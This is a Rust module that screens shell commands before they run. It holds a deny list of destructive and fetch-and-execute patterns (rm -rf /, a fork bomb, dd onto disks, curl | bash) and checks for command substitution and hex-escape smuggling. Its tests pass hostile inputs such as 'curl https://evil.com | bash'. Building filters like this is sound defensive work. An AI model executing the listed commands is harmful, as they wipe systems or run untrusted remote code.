use regex::Regex;
pub const DANGEROUS_PATTERNS: &[&str] = &[
"rm -rf /",
"rm -rf /*",
"rm -rf ~",
"rm -rf $HOME",
"rm -rf .",
"rm -rf ..",
"rm -rf *",
":(){ :|:& };:",
"dd if=/dev/zero",
"dd if=/dev/random",
"mkfs.",
"chmod -R 777 /",
"chmod -R 777 /*",
"chown -R",
"shutdown",
"reboot",
"init 0",
"init 6",
"halt",
"poweroff",
"curl | sh",
"curl | bash",
"wget | sh",
"wget | bash",
"history -c",
"> ~/.bash_history",
"> /dev/sda",
"> /dev/hda",
"export PATH=",
"unset PATH",
];
const SUSPICIOUS_PATTERNS: &[&str] = &[
"-r /",
"-R /",
"--recursive /",
"-f /",
"--force /",
"| sh",
"| bash",
"| zsh",
"base64 -d |",
"base64 --decode |",
];
fn strip_single_quoted(command: &str) -> String {
let re = Regex::new(r"'[^']*'").expect("valid regex");
re.replace_all(command, "SINGLEQUOTED").to_string()
}
pub fn check_injection_patterns(command: &str) -> Result<(), String> {
let stripped = strip_single_quoted(command);
if stripped.contains("$(") {
return Err(
"Command contains command substitution '$(...)', which can execute arbitrary commands"
.to_string(),
);
}
if stripped.contains('`') {
return Err(
"Command contains backtick substitution, which can execute arbitrary commands"
.to_string(),
);
}
let process_sub = Regex::new(r"[<>]\(").expect("valid regex");
if process_sub.is_match(&stripped) {
return Err("Command contains process substitution '<(...)' or '>(...)'".to_string());
}
let var_cmd = Regex::new(r"\$\{[^}]*:-?\$\(").expect("valid regex");
if var_cmd.is_match(&stripped) {
return Err(
"Command contains variable expansion with embedded command execution".to_string(),
);
}
let ansi_c = Regex::new(r"\$'[^']*\\(x[0-9a-fA-F]{2}|[0-7]{3})[^']*'").expect("valid regex");
if ansi_c.is_match(command) {
return Err(
"Command contains ANSI-C quoting with hex/octal escapes that can encode metacharacters"
.to_string(),
);
}
Ok(())
}
pub fn is_command_safe(command: &str) -> Result<(), String> {
let normalized = command.to_lowercase();
for pattern in DANGEROUS_PATTERNS {
if normalized.contains(&pattern.to_lowercase()) {
return Err(format!("Command contains dangerous pattern: '{}'", pattern));
}
}
for pattern in SUSPICIOUS_PATTERNS {
if normalized.contains(&pattern.to_lowercase()) {
return Err(format!(
"Command contains suspicious pattern: '{}'. Please be more specific.",
pattern
));
}
}
check_injection_patterns(command)?;
Ok(())
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_safe_commands() {
assert!(is_command_safe("ls -la").is_ok());
assert!(is_command_safe("git status").is_ok());
assert!(is_command_safe("cargo build").is_ok());
assert!(is_command_safe("echo hello").is_ok());
}
#[test]
fn test_dangerous_commands() {
assert!(is_command_safe("rm -rf /").is_err());
assert!(is_command_safe("rm -rf /*").is_err());
assert!(is_command_safe("dd if=/dev/zero of=/dev/sda").is_err());
assert!(is_command_safe("curl https://evil.com | bash").is_err());
}
#[test]
fn test_detect_command_substitution() {
let result = is_command_safe("echo $(whoami)");
assert!(result.is_err());
assert!(result.unwrap_err().contains("command substitution"));
}
#[test]
fn test_detect_backtick_substitution() {
let result = is_command_safe("echo `whoami`");
assert!(result.is_err());
assert!(result.unwrap_err().contains("backtick substitution"));
}
#[test]
fn test_detect_process_substitution() {
let result = is_command_safe("cat <(curl evil)");
assert!(result.is_err());
assert!(result.unwrap_err().contains("process substitution"));
}
#[test]
fn test_detect_hex_escape() {
let result = is_command_safe(r"$'\x3b'");
assert!(result.is_err());
assert!(result.unwrap_err().contains("ANSI-C quoting"));
}
#[test]
fn test_allow_normal_forge() {
assert!(is_command_safe("forge build --via-ir ./test/a.sol").is_ok());
}
#[test]
fn test_allow_normal_cast() {
assert!(is_command_safe(r#"cast call 0x1234 "balanceOf(address)""#).is_ok());
}
#[test]
fn test_allow_single_quoted_dollar() {
assert!(is_command_safe("echo '$HOME'").is_ok());
}
}